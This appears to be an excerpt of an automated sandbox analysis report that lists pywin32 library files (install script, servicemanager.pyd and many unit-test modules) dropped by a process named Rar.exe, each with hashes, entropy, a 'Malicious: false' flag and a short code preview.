Preview:	# Install and register pythonxx_d.dll, pywintypesxx_d.dll and pythoncomxx_d.dll.#.# Assumes the _d files can be found in the same directory as this script.# or in the cwd...import os.import shutil.import sys.import winreg..import win32api...def usage_and_die(rc):. print(). print("This script is designed to copy and register the Python debug"). print("binaries. It looks for pythonxx_d.dll, pythoncomxx_d.dll etc,"). print("and installs them to work correctly with Python debug builds."). print(). print("You will generally find this script in the. zip file that"). print("included these _d files. Please run this script from"). print("that directory"). sys.exit(rc)...if win32api.__file__.find("_d") > 0:. print("This scripts appears to be running a DEBUG version of Python."). print("Please run it using a normal release build (python.exe)"). usage_and_die(1)..try:. import pythoncom.except ImportError as details:. print("Could not import the release v

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\servicemanager.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.766904899896164
Encrypted:	false
SSDEEP:	768:Eus9dTayzceMuRh+0RSRpnR5OXtbvjXObm2PI:k9dD5RHcRpR4tbbXObXPI
MD5:	DD419E9F89E8A2815858A8B6D059C027
SHA1:	1158C7CD0A7A1298F8DCE6B651814112CCC1456E
SHA-256:	CABDFF87D5A1118F16DB1672DEC81394183DC9D644CF98EEFD992F62000BCE83
SHA-512:	ADC9D15D3FE7E80E65E2E1D8C026B6CB561A79182F10543A01E91DE33ED36944954BA0458C2FF5115B99AAB1C104E3ADB929184E0A380F3A697A7E5775DD40ED
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........T_..51..51..51..M...51.@0..51.@4..51.@5..51.@2..51..@0..51.x\0..51..^0..51..50..51..@8..51..@1..51..@...51..@3..51.Rich.51.........................PE..L...I..d...........!.....<...F......';.......P............................................@.........................pc..`....d..........x.......................t....\..T...........................`\..@............P.. ............................text...z:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....rsrc...x............j..............@..@.reloc..t............~..............@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\handles.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5471
Entropy (8bit):	4.483065386918216
Encrypted:	false
SSDEEP:	96:kC/Zakzv+Hjce4Dr+fYH+M5+PX2cYU/Bi0EBdktW2E9mIq:kNiFxUZcBdktVqq
MD5:	9A0B2387B2891F63CAE03C9E2DDC3322
SHA1:	963FBED7627CFE59C4223211D3CE115FD0E77849
SHA-256:	9A39FCE6B220CC16C66E8C3F0CF599CA8662F2E4EAA3C9B97192417E133C0FBB
SHA-512:	CF19F968B5E04B9643EA308A42B624CC5631809440432B4F8C116A648792F4364805DDE07BB5CE271EE0DEDF131A60636FB6A87F9E4C12861F0E85CA407DB478
Malicious:	false
Reputation:	low
Preview:	import sys.import unittest..import pywintypes.import win32api...# A class that will never die vie refcounting, but will die via GC..class Cycle:. def __init__(self, handle):. self.cycle = self. self.handle = handle...class PyHandleTestCase(unittest.TestCase):. def testCleanup1(self):. # We used to clobber all outstanding exceptions.. def f1(invalidate):. import win32event.. h = win32event.CreateEvent(None, 0, 0, None). if invalidate:. win32api.CloseHandle(int(h)). 1 / 0. # If we invalidated, then the object destruction code will attempt. # to close an invalid handle. We don't wan't an exception in. # this case.. def f2(invalidate):. """This function should throw an IOError.""". try:. f1(invalidate). except ZeroDivisionError as exc:. raise IOError("raise 2").. self.assertRaises(IOError,

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_clipboard.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4128
Entropy (8bit):	4.766945925977974
Encrypted:	false
SSDEEP:	48:l983zkCeM2cH6EXhnHXQetwU3CzTIVJM4WOdzEa9TIVNWdx17a0d2jlfS:HSzQncjA09SzTIVJiS9TIVwdxE0d2jlq
MD5:	707A3C38CA9599DEE8D886F84AC1048C
SHA1:	F3A07C7B293C479A48631895FEE5FC7B72ED45C1
SHA-256:	CC1A7875EF1EC4B6B5C50FCFA5EE92D386E69EF6DF4DB2FF6F4E8B081E16A0B2
SHA-512:	1B1D2FA8F2C469178DA6C93926C5BFF38CA3050B17AE857E3321EAEC37E7D9C96C96C52D13A249F5D8E335092D960DCE74EA89A816692DD02AD6CF35AA074922
Malicious:	false
Reputation:	low
Preview:	# General test module for win32api - please add some :).import array.import os.import sys.import unittest..import pywintypes.import win32con.import win32gui.from pywin32_testutil import str2bytes.from win32clipboard import *..custom_format_name = "PythonClipboardTestFormat"...class CrashingTestCase(unittest.TestCase):. def test_722082(self):. class crasher(object):. pass.. obj = crasher(). OpenClipboard(). try:. EmptyClipboard(). # This used to crash - now correctly raises type error.. self.assertRaises(TypeError, SetClipboardData, 0, obj). finally:. CloseClipboard()...class TestBitmap(unittest.TestCase):. def setUp(self):. self.bmp_handle = None. try:. this_file = __file__. except NameError:. this_file = sys.argv[0]. this_dir = os.path.dirname(this_file). self.bmp_name = os.path.join(. os.path.abspath(this_dir), "..", "Demo

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_exceptions.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8401
Entropy (8bit):	4.658954261945094
Encrypted:	false
SSDEEP:	96:So/OWyYIRBuPHT7+F32bA2SV+SCJE+SCJbu1pZV2+SY1QN95pxJUyXRvUgLIUqr8:/rnPNFNiZrj1C5TJUng8YhYDQWq
MD5:	EA5E07027F4DBF3C8BB1196FAAF915A2
SHA1:	47CBA1C28BBFD1B9EB4E152B5B869BB6E10765DF
SHA-256:	242D1EA4E8096B43DB499870C4EDFA10EDA5F43B72BB8C7530D8ED8CC27D78F3
SHA-512:	94435C3A55280F9B818A4728C3B78258AF09F2FBD88521EDEA4B7ED8611A5025F9E972A18B13D433FE496BC8670D53C542F46239386E25D7124875CC52A53428
Malicious:	false
Reputation:	low
Preview:	"""Test pywin32's error semantics""".import sys.import unittest..import pythoncom.import pywintypes.import win32api.import win32file.import winerror...class TestBase(unittest.TestCase):. def _testExceptionIndex(self, exc, index, expected):. # check the exception itself can be indexed if not py3k. if sys.version_info < (3,):. self.assertEqual(exc[index], expected). # and that exception.args can is the same.. self.assertEqual(exc.args[index], expected)...class TestAPISimple(TestBase):. def _getInvalidHandleException(self):. try:. win32api.CloseHandle(1). except win32api.error as exc:. return exc. self.fail("Didn't get invalid-handle exception.").. def testSimple(self):. self.assertRaises(pywintypes.error, win32api.CloseHandle, 1).. def testErrnoIndex(self):. exc = self._getInvalidHandleException(). self._testExceptionIndex(exc, 0, winerror.ERROR_INVALID_HANDLE).. def test

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_odbc.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8472
Entropy (8bit):	4.201102143048348
Encrypted:	false
SSDEEP:	96:gUhWzBHkMBDTwqO10iXNMy0Re5qN/iXb1iES61Ypz6jYpMQUkXlsK9SH2F2fupUO:gUCMmeMym/I1RBLup2q
MD5:	BD17A4E829646A8C6BFD0AD0E92C33D1
SHA1:	7C73924F5EE596727E9B2D09F5053CCA3D5ED402
SHA-256:	C1915D09E993B9A0ADD6473CDF1875ECE33242560FA283D4799F191F8D7CB40D
SHA-512:	64EBF976C4AE5C1193CD9C5B811B133B227E040F5BE17738A0F684C3BFB0F0DB10665A880A4E429A732A1FA258344A575CFA7CAB941D086B82EB2B8B87CDDDD9
Malicious:	false
Reputation:	low
Preview:	# odbc test suite kindly contributed by Frank Millman..import os.import sys.import tempfile.import unittest..import odbc.import pythoncom.from pywin32_testutil import TestSkipped, str2bytes, str2memory.from win32com.client import constants..# We use the DAO ODBC driver.from win32com.client.gencache import EnsureDispatch...class TestStuff(unittest.TestCase):. def setUp(self):. self.tablename = "pywin32test_users". self.db_filename = None. self.conn = self.cur = None. try:. # Test any database if a connection string is supplied.... conn_str = os.environ["TEST_ODBC_CONNECTION_STRING"]. except KeyError:. # Create a local MSAccess DB for testing.. self.db_filename = tempfile.NamedTemporaryFile().name + ".mdb".. # Create a brand-new database - what is the story with these?. for suffix in (".36", ".35", ".30"):. try:. dbe = EnsureDispatch("DAO.DBEngine" + s

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_pywintypes.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4174
Entropy (8bit):	4.637672143449211
Encrypted:	false
SSDEEP:	48:tNosBlfXH+L5MWcs+dS4UOFHFaobEUo8hHFcocGu2E+SRNATocQSRNW6h6zJsajn:v7BlmTsrMobDo8VCddeD6VThwUflkoYq
MD5:	A35DD3413F96F8865095071BA336714D
SHA1:	040F057F3A635E26C6DC118431707F7A537C69D2
SHA-256:	5BACA647B02030064503F9F3AEEB3D9BA60DB7F6CAC841AB0E482EF686D67A7E
SHA-512:	8B623CFA039D136860BDEB8795E385D7DDDB80B9BC617CF88788B6E3E19DC2AD3B3BDB4A47CB11403F6E4866F3E49B2E10A201D1513A638A513875D554C80592
Malicious:	false
Reputation:	low
Preview:	import datetime.import operator.import sys.import time.import unittest..import pywintypes.from pywin32_testutil import ob2memory, str2bytes...class TestCase(unittest.TestCase):. def testPyTimeFormat(self):. struct_current = time.localtime(). pytime_current = pywintypes.Time(struct_current). # try and test all the standard parts of the format. # Note we used to include '%Z' testing, but that was pretty useless as. # it always returned the local timezone.. format_strings = "%a %A %b %B %c %d %H %I %j %m %M %p %S %U %w %W %x %X %y %Y". for fmt in format_strings.split():. v1 = pytime_current.Format(fmt). v2 = time.strftime(fmt, struct_current). self.assertEqual(v1, v2, "format %s failed - %r != %r" % (fmt, v1, v2)).. def testPyTimePrint(self):. # This used to crash with an invalid, or too early time.. # We don't really want to check that it does cause a ValueError. # (as hopefully t

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_security.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6062
Entropy (8bit):	4.7616285907258655
Encrypted:	false
SSDEEP:	96:04wcdxEB2ZSCeZQB1ZLp7CeH/ofXhGhFXhvhCue9quC6gNBn/9zZ9C/WflV9y5+C:nrEB2ZSFeZ97FApULJCxA1Xi
MD5:	6CA4F005229E95EEC6E06F171FADC39D
SHA1:	3329FA02380512F6D6FF6F4A90B3B8CDB740290F
SHA-256:	C03DA11EE20F451145E9988056BF247E60F1FF16F91D3592F8537E420BE0DAC7
SHA-512:	9127B7140C9A0FFFD02B12D9728DE19DE4BB0254DA8841FA43E23DB3CF14FD3AF89F45A3B2D909C1ABB115B6D2869CC9260FF4D7F20B86DBB8825FAA5DBA17C8
Malicious:	false
Reputation:	low
Preview:	# Tests for the win32security module..import unittest..import ntsecuritycon.import pywintypes.import win32api.import win32con.import win32security.import winerror.from pywin32_testutil import TestSkipped, ob2memory, testmain...class SecurityTests(unittest.TestCase):. def setUp(self):. self.pwr_sid = win32security.LookupAccountName("", "Power Users")[0]. try:. self.admin_sid = win32security.LookupAccountName("", "Administrator")[0]. except pywintypes.error as exc:. # in automation we see:. # pywintypes.error: (1332, 'LookupAccountName', 'No mapping between account names and security IDs was done.'). if exc.winerror != winerror.ERROR_NONE_MAPPED:. raise. self.admin_sid = None.. def tearDown(self):. pass.. def testEqual(self):. if self.admin_sid is None:. raise TestSkipped("No 'Administrator' account is available"). self.assertEqual(. win32security

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_sspi.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8302
Entropy (8bit):	4.875534408590997
Encrypted:	false
SSDEEP:	192:FBX6jbS83P2gdpH7LS8iiNdD2gXQR6cDGeQ7hS2R3EHQC4JwOkyB5D4BGQaFHT8T:FMjxy8eQ4jTLX
MD5:	EE93B23110B338A67D7B16EE25FA9C74
SHA1:	57DECEBFD48BE30E7FC3BEB2F6D918EB4254211A
SHA-256:	F47AB384C7FB9F7A91DF36A23AA2FE04F24F0C4263C00227DA6295119A32E98C
SHA-512:	2613DA7651AA4B78992742ECE85726AA3E14D979C73C90B2D2C9BB2A4ACE11BA1EB8E9442B5F72DF54B2E1A10F0B5545A23FFB9A987A2EB5BFF1452069019A8B
Malicious:	false
Reputation:	low
Preview:	# Some tests of the win32security sspi functions..# Stolen from Roger's original test_sspi.c, a version of which is in "Demos".# See also the other SSPI demos..import re.import unittest..import sspi.import sspicon.import win32api.import win32security.from pywin32_testutil import TestSkipped, str2bytes, testmain...# It is quite likely that the Kerberos tests will fail due to not being.# installed. The NTLM tests do not get the same behaviour as they should.# always be there..def applyHandlingSkips(func, args):. try:. return func(args). except win32api.error as exc:. if exc.winerror in [. sspicon.SEC_E_NO_CREDENTIALS,. sspicon.SEC_E_NO_AUTHENTICATING_AUTHORITY,. ]:. raise TestSkipped(exc). raise...class TestSSPI(unittest.TestCase):. def assertRaisesHRESULT(self, hr, func, args):. try:. return func(args). raise RuntimeError("expecting %s failure" % (hr,)). except win32security.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32api.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9777
Entropy (8bit):	4.737552851480279
Encrypted:	false
SSDEEP:	192:DnnthSWhtC9JDMNUT6BykBhRGmRBKKbbq:DHwnTkhBSSy
MD5:	9594739675AC8888353B9128957829E3
SHA1:	C5238B021894FC502967B174245558371E60AC51
SHA-256:	7E4C25D092C23E3B72EE250646723A651FDF01D8897A9B070CA9D14974BC2B5B
SHA-512:	C5F80160BBA272FD56B3E8D34796CE6F55C772FC1B8B2EEA8FC8AB3E4E8A20234DFA4ADAE18D6A41688BC03D98CA92A35C74C19E457836E5BB4C520E5CDC874E
Malicious:	false
Reputation:	low
Preview:	# General test module for win32api - please add some :)..import datetime.import os.import sys.import tempfile.import unittest..import win32api.import win32con.import win32event.import winerror.from pywin32_testutil import TestSkipped, str2bytes...class CurrentUserTestCase(unittest.TestCase):. def testGetCurrentUser(self):. domain = win32api.GetDomainName(). if domain == "NT AUTHORITY":. # Running as a service account, so the comparison will fail. raise TestSkipped("running as service account"). name = "%s\\%s" % (domain, win32api.GetUserName()). self.assertEqual(name, win32api.GetUserNameEx(win32api.NameSamCompatible))...class TestTime(unittest.TestCase):. def testTimezone(self):. # GetTimeZoneInformation. rc, tzinfo = win32api.GetTimeZoneInformation(). if rc == win32con.TIME_ZONE_ID_DAYLIGHT:. tz_str = tzinfo[4]. tz_time = tzinfo[5]. else:. tz_str = tzinfo[1].

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32crypt.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4348
Entropy (8bit):	4.720005452927387
Encrypted:	false
SSDEEP:	48:nGTNTZHftZ6VavazzOwoG+NbJXGa/Y7/fNSLGhLOL/LpFyQTu1nPyi:nGTNVYPOw3kW6YwQSz3yzpai
MD5:	1CF5B09510844FF5502DC5B220560F95
SHA1:	A0897F1482D46F77E6495F3F7AFC104899539A26
SHA-256:	C26885E898631804BB04402F9976AE2BE813C96E43491CFDC52A9081A12C8FD7
SHA-512:	6590871E9392D4A48E74B31DBF4B8A053C6C4807E74857A987D57D93D0D13B493144BC6582E08FA426131DA230B8D4C4CD9165499A0ECAC534AA2AF2D97C153D
Malicious:	false
Reputation:	low
Preview:	# Test module for win32crypt..import contextlib.import unittest.from typing import Any, Iterator..import win32crypt.from pywin32_testutil import TestSkipped, find_test_fixture, testmain.from win32cryptcon import *...class Crypt(unittest.TestCase):. def testSimple(self):. data = b"My test data". entropy = None. desc = "My description". flags = 0. ps = None. blob = win32crypt.CryptProtectData(data, desc, entropy, None, ps, flags). got_desc, got_data = win32crypt.CryptUnprotectData(. blob, entropy, None, ps, flags. ). self.assertEqual(data, got_data). self.assertEqual(desc, got_desc).. def testEntropy(self):. data = b"My test data". entropy = b"My test entropy". desc = "My description". flags = 0. ps = None. blob = win32crypt.CryptProtectData(data, desc, entropy, None, ps, flags). got_desc, got_data = win32crypt.CryptUnprotectData(. blob, entro

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32event.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4368
Entropy (8bit):	4.690266362009521
Encrypted:	false
SSDEEP:	96:uBZpBvpjiDWFpjSXSjvDpwWlXySJH6jHN6HzS5V6pLqx7rLK0EI1ZcVZ3q:gfBvZiDWFZSXSjvDpwWUS16TNUzFpLq5
MD5:	DBC9AF40F38CB83121A9E353B9E9F4DC
SHA1:	843B250EA21D3143DA09A8FA1151C95753A9D65B
SHA-256:	5D0A81BDAF6B31854D8AEEE3026C2120C7A9CE67BA7E721DEE59BBC502D37B0E
SHA-512:	B2BB5BAE444FAD9EDC744B36134747F994619DA1112092D4B6E66A07FED93D0358795CEBE324EC42CC3D5238C8E9738DFE0201B03DCD35016606A33121AB2158
Malicious:	false
Reputation:	low
Preview:	import unittest..import pywintypes.import win32event...class TestWaitableTimer(unittest.TestCase):. def testWaitableFire(self):. h = win32event.CreateWaitableTimer(None, 0, None). dt = -160 # 160 ns.. win32event.SetWaitableTimer(h, dt, 0, None, None, 0). rc = win32event.WaitForSingleObject(h, 1000). self.assertEqual(rc, win32event.WAIT_OBJECT_0).. def testCreateWaitableTimerEx(self):. h = win32event.CreateWaitableTimerEx(. None,. None,. win32event.CREATE_WAITABLE_TIMER_HIGH_RESOLUTION,. win32event.TIMER_ALL_ACCESS,. ). dt = -160 # 160 ns.. win32event.SetWaitableTimer(h, dt, 0, None, None, 0). rc = win32event.WaitForSingleObject(h, 1000). self.assertEqual(rc, win32event.WAIT_OBJECT_0).. def testWaitableTrigger(self):. h = win32event.CreateWaitableTimer(None, 0, None). # for the sake of this, pass a long that doesn't fit in an int.. dt =

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32file.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	41414
Entropy (8bit):	4.594168917066703
Encrypted:	false
SSDEEP:	768:cIh0aKGyRwRGUtfoKkTu3zCz69SNrCs9MNzz:cIcUSK59SNl6
MD5:	B01817532C78A687745ACA880BD3EA14
SHA1:	0FA966057DA2955C9210E9BD87ED461B5EE1258C
SHA-256:	A1593D886BBA6F5CBE6C3DC35E11F8FD4655BAAEAAB8FA13B0121F6E06200FEF
SHA-512:	09B9FD7341C605E83DC2B66F375CDC5148D340EF9290D229EF64E1932C9EF3EAC98D3F99262F1449EE3A2646969566D349D9151FEBBE69BAFED9CC57EFE2FA38
Malicious:	false
Reputation:	low
Preview:	import datetime.import os.import random.import shutil.import socket.import tempfile.import threading.import time.import unittest..import ntsecuritycon.import pywintypes.import win32api.import win32con.import win32event.import win32file.import win32pipe.import win32timezone.import winerror.from pywin32_testutil import TestSkipped, str2bytes, testmain..try:. set.except NameError:. from sets import Set as set...class TestReadBuffer(unittest.TestCase):. def testLen(self):. buffer = win32file.AllocateReadBuffer(1). self.assertEqual(len(buffer), 1).. def testSimpleIndex(self):. buffer = win32file.AllocateReadBuffer(1). buffer[0] = 0xFF. self.assertEqual(buffer[0], 0xFF).. def testSimpleSlice(self):. buffer = win32file.AllocateReadBuffer(2). val = str2bytes("\0\0"). buffer[:2] = val. self.assertEqual(buffer[0:2], val)...class TestSimpleOps(unittest.TestCase):. def testSimpleFiles(self):. fd, filename = tem

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32gui.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2302
Entropy (8bit):	4.717077495501314
Encrypted:	false
SSDEEP:	24:bWT/FjXsP4D4O4AzIpbWsdKMns71gnswF7AIs72RrsibpVS:iTdj7EDAzu7KMB/NJ5bfS
MD5:	9839103A9BD6F1BAF4EAE2B7049BB275
SHA1:	88D504A84342DDF66DEB4DE8D8441B8F976C6611
SHA-256:	25938BF01CCD24988D82267FDEC66EB77AB4391B979664C63408F3F5E1D4EEAD
SHA-512:	1B9BBA0BBCD2826757BAB4C063485C9C8938CAD6552D00ACD2ECCEAB0FFC5F3B5C2F6E55A77A16EB36D02E9DB5866A7979E941CE22F9C43955890F8848719127
Malicious:	false
Reputation:	low
Preview:	# tests for win32gui.import array.import operator.import unittest..import pywin32_testutil.import win32gui...class TestPyGetString(unittest.TestCase):. def test_get_string(self):. # test invalid addresses cause a ValueError rather than crash!. self.assertRaises(ValueError, win32gui.PyGetString, 0). self.assertRaises(ValueError, win32gui.PyGetString, 1). self.assertRaises(ValueError, win32gui.PyGetString, 1, 1)...class TestPyGetMemory(unittest.TestCase):. def test_ob(self):. # Check the PyGetMemory result and a bytes string can be compared. test_data = b"\0\1\2\3\4\5\6". c = array.array("b", test_data). addr, buflen = c.buffer_info(). got = win32gui.PyGetMemory(addr, buflen). self.assertEqual(len(got), len(test_data)). self.assertEqual(bytes(got), test_data).. def test_memory_index(self):. # Check we can index into the buffer object returned by PyGetMemory. test_data = b"\0\1\2\3\4\5\6".

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32guistruct.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9207
Entropy (8bit):	4.533453807750783
Encrypted:	false
SSDEEP:	96:nWriufXQ/QFNgSE/wFNNLeWt6bETl3RVFHg1BE2xdF+V1K++V3b6vXEFcccUTcH2:exXGQFNgSywFNNLdtqrXTKXnVXHWXwq
MD5:	70BD28AEBE79AF642176356266E86D33
SHA1:	FBCA88DB18EAAF543337A1000A98AAD79334B27C
SHA-256:	90D0EA872D2FBF16E54A88674A9757C6A0C1E017E32D18B9ED2BEF4D1F9790C0
SHA-512:	9A83B04471386AAEB6784333027817724BBA387991E6E0686D047B6170624DFE27517E7C40FEED775429C0D5C2595ACB525E1F12FADC436AEB0E99C641EF140D
Malicious:	false
Reputation:	low
Preview:	import array.import unittest..import pythoncom.import win32con.import win32gui.import win32gui_struct...class TestBase(unittest.TestCase):. def assertDictEquals(self, d, kw):. checked = dict(). for n, v in kw.items():. self.assertEqual(v, d[n], "'%s' doesn't match: %r != %r" % (n, v, d[n])). checked[n] = True. checked_keys = list(checked.keys()). passed_keys = list(kw.keys()). checked_keys.sort(). passed_keys.sort(). self.assertEqual(checked_keys, passed_keys)...class TestMenuItemInfo(TestBase):. def _testPackUnpack(self, text):. vals = dict(. fType=win32con.MFT_MENUBARBREAK,. fState=win32con.MFS_CHECKED,. wID=123,. hSubMenu=1234,. hbmpChecked=12345,. hbmpUnchecked=123456,. dwItemData=1234567,. text=text,. hbmpItem=321,. ). mii, extras = win32gui_struct.PackMENUITEMINFO(vals). (.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32inet.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3119
Entropy (8bit):	4.5523866481379365
Encrypted:	false
SSDEEP:	96:zfKwKrRJv8sWEFOphvScSkXGSOW8Ra8Ti:qPtcScSDVRri
MD5:	30F3C8445F7A56D3A6A07D084086F837
SHA1:	6AF609BF8A6FED9C17C5AFA907B2E13D01280F4D
SHA-256:	FC5CDEC444E91779C64EB1BFCA9C089F3EC5FDDA916C857C79C436417834F3C2
SHA-512:	2AF989A15B3DB5029104BA44CB37CE2E96F59E0BFF9396921419C1E9D26C51BA9A93679AF0C7F31DF463185DE81990DE6D6DA64C8ED8D2210818B9E4CDB177BC
Malicious:	false
Reputation:	low
Preview:	import unittest..import winerror.from pywin32_testutil import str2bytes # py3k-friendly helper.from pywin32_testutil import TestSkipped, testmain.from win32inet import .from win32inetcon import ...class CookieTests(unittest.TestCase):. def testCookies(self):. data = "TestData=Test". InternetSetCookie("http://www.python.org", None, data). got = InternetGetCookie("http://www.python.org", None). # handle that there might already be cookies for the domain.. bits = map(lambda x: x.strip(), got.split(";")). self.assertTrue(data in bits).. def testCookiesEmpty(self):. try:. InternetGetCookie("http://site-with-no-cookie.python.org", None). self.fail("expected win32 exception"). except error as exc:. self.assertEqual(exc.winerror, winerror.ERROR_NO_MORE_ITEMS)...class UrlTests(unittest.TestCase):. def testSimpleCanonicalize(self):. ret = InternetCanonicalizeUrl("foo bar"). self.ass

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32net.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	654
Entropy (8bit):	4.2763245113043284
Encrypted:	false
SSDEEP:	12:LLfJ4LfzmlIuXi7aL9xrClXlfvNKEdtevSobuXi1FC7hGtfTteNy2pV7u:JumlIKIaL9x2JlfVKE1eK40sUHpVS
MD5:	6517E211765BE18E6404AFDD997C8BF0
SHA1:	0624B162D53626409F7E2695EDEF22D8A2BE4AC3
SHA-256:	C16266E7473FBED90C72820700F36236FCDC3E103A8D7EC38D990514245B7D79
SHA-512:	A28CD960ED1F4F23176AF14980B81315A3AC85645FFBE4745A4762B9A8A93071FED11CE4DCFEBBBDA6B7F3530ACFB6129C18966CD1367B0FD02C088DBFE0051C
Malicious:	false
Reputation:	low
Preview:	import unittest..import win32net.import win32netcon...class TestCase(unittest.TestCase):. def testGroupsGoodResume(self, server=None):. res = 0. level = 0 # setting it to 1 will provide more detailed info. while True:. (user_list, total, res) = win32net.NetGroupEnum(server, level, res). for i in user_list:. pass. if not res:. break.. def testGroupsBadResume(self, server=None):. res = 1 # Can't pass this first time round.. self.assertRaises(win32net.error, win32net.NetGroupEnum, server, 0, res)...if __name__ == "__main__":. unittest.main().

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32pipe.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5007
Entropy (8bit):	4.707530904909143
Encrypted:	false
SSDEEP:	96:jvp065vE0nI1jmQ4cOYBXc6YBkycTPk0Cczq:7nI16Q4cOYBXc6YBkycTPk0Cczq
MD5:	82B8034B800E3839C5A973E495B91D10
SHA1:	CB1A55C670BED07E8A2C4E1C5643CB9E4FE27276
SHA-256:	6A564ED70F0E79A5ED160540A0A5B2405E4BF404930B431FB8B743C6F8C176EB
SHA-512:	FFCB2522AB15717DF4D687CA14CCDD3B5B7D8B7D2423BB92C94EB4919D7FF223A145AFEB9FA77AADE1F8B27202561911230A05600469BD80DEE64021A2D9C810
Malicious:	false
Reputation:	low
Preview:	import threading.import time.import unittest..import pywintypes.import win32con.import win32event.import win32file.import win32pipe.import winerror.from pywin32_testutil import str2bytes # py3k-friendly helper...class PipeTests(unittest.TestCase):. pipename = "\\\\.\\pipe\\python_test_pipe".. def _serverThread(self, pipe_handle, event, wait_time):. # just do one connection and terminate.. hr = win32pipe.ConnectNamedPipe(pipe_handle). self.assertTrue(. hr in (0, winerror.ERROR_PIPE_CONNECTED), "Got error code 0x%x" % (hr,). ). hr, got = win32file.ReadFile(pipe_handle, 100). self.assertEqual(got, str2bytes("foo\0bar")). time.sleep(wait_time). win32file.WriteFile(pipe_handle, str2bytes("bar\0foo")). pipe_handle.Close(). event.set().. def startPipeServer(self, event, wait_time=0):. openMode = win32pipe.PIPE_ACCESS_DUPLEX. pipeMode = win32pipe.PIPE_TYPE_MESSAGE \| win32pipe.PIPE_WAIT..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\test\test_win32print.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	681
Entropy (8bit):	4.600120055398157
Encrypted:	false
SSDEEP:	12:Lq42LdWU6QPJv/MPoYiSIkYdVhQMeZewofMm5bVHYRF2pV7u:WWUC1iSIkYzhcZe9m0pVS
MD5:	CA7875992F54668EE4C26B3E048F45D2
SHA1:	55A9F5610A0DCE2B4A618E450B1ACC532E10AC11
SHA-256:	1B1D69A6E32BCA5FAC96182ACB8DFD35AE8F48B452F2DD61BE67414AB79A42C4
SHA-512:	CE6AC1C67301052E0104C574BC510A62A8A63DF982C387B78EB04BA35628E39FFF1DA630B6FE550FEF7F95DBF233914909FE83BA9C9C1C3B25A540708C986EE4
Malicious:	false
Reputation:	low
